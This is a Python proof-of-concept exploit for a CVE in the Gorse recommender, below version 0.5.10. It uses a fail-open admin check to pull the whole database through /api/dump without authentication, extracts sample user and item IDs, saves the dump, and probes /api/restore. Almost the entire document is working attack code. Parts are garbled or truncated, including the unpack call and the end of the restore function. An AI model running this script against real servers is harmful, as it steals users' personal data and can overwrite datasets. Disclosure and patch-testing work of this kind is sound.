#!/usr/bin/env python3 """ CVE-2026-56782 - Gorse < 0.5.10 - Unauthenticated database dump / restore (auth bypass) The master HTTP server gates /api/dump and /api/restore behind checkAdmin(): func (m *Master) checkAdmin(request *http.Request) bool { if m.Config.Master.AdminAPIKey == "" { return true // fail-open: no key => everyone is admin } if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey { return true } return false } `admin_api_key` is empty in the shipped config, so an unauthenticated attacker can: * GET /api/dump -> stream the entire dataset (users, items, feedback / PII) * POST /api/restore -> overwrite the entire dataset This PoC reads the dump stream and counts the exfiltrated records, then probes /api/restore to show it is reachable without authentication. Dump stream format (master/rest.go): int64 LE section markers: UserStream=-1, ItemStream=-2, FeedbackStream=-3, EOF=0 each record: int64 LE length prefix (>0) followed by that many protobuf bytes. Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts For authorized security testing only. """ import argparse import struct import sys import urllib.request def _read_exact(resp, n): buf = b"" while len(buf) < n: chunk = resp.read(n - len(buf)) if not chunk: break buf += chunk return buf def _pb_first_string(record): """Extract field #1 (UserId/ItemId, wire type 2) from a protobuf record.""" if not record or record[0] != 0x0A: # tag: field 1, wire type 2 return None i, length = 1, 0 shift = 0 while i < len(record): b = record[i] length |= (b & 0x7F) << shift i += 1 if not (b & 0x80): break shift += 7 return record[i:i + length].decode("utf-8", "replace") def dump(base, out_path): url = base.rstrip("/") + "/api/dump" print(f"[*] GET {url} (no X-API-Key header)") req = urllib.request.Request(url) # deliberately unauthenticated resp = urllib.request.urlopen(req, timeout=120) print(f"[*] HTTP {resp.status} content-type: {resp.headers.get('Content-Type')}") if resp.status != 200: print("[!] Not 200 - target likely patched or admin_api_key is set.") return sections = {-1: "users", -2: "items", -3: "feedback"} counts = {"users": 0, "items": 0, "feedback": 0} samples = {"users": [], "items": []} cur = None total = 0 fh = open(out_path, "wb") if out_path else None try: while True: hdr = _read_exact(resp, 8) if len(hdr) < 8: break (val,) = struct.unpack(" 0 => record length if fh: fh.write(record) total += len(record) if cur: counts[cur] += 1 if cur in samples and len(samples[cur]) < 5: s = _pb_first_string(record) if s: samples[cur].append(s) finally: if fh: fh.close() print("\n[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED") print(f" users : {counts['users']}") print(f" items : {counts['items']}") print(f" feedback : {counts['feedback']}") print(f" payload : {total} protobuf bytes") if samples["users"]: print(f" sample user ids : {', '.join(samples['users'])}") if samples["items"]: print(f" sample item ids : {', '.join(samples['items'])}") if out_path: print(f" raw dump saved : {out_path}") def restore_probe(base): url = base.rstrip("/") + "/api/restore" # Minimal valid stream: just an EOF marker (int64 0) -> a no-op restore. body = struct.pack("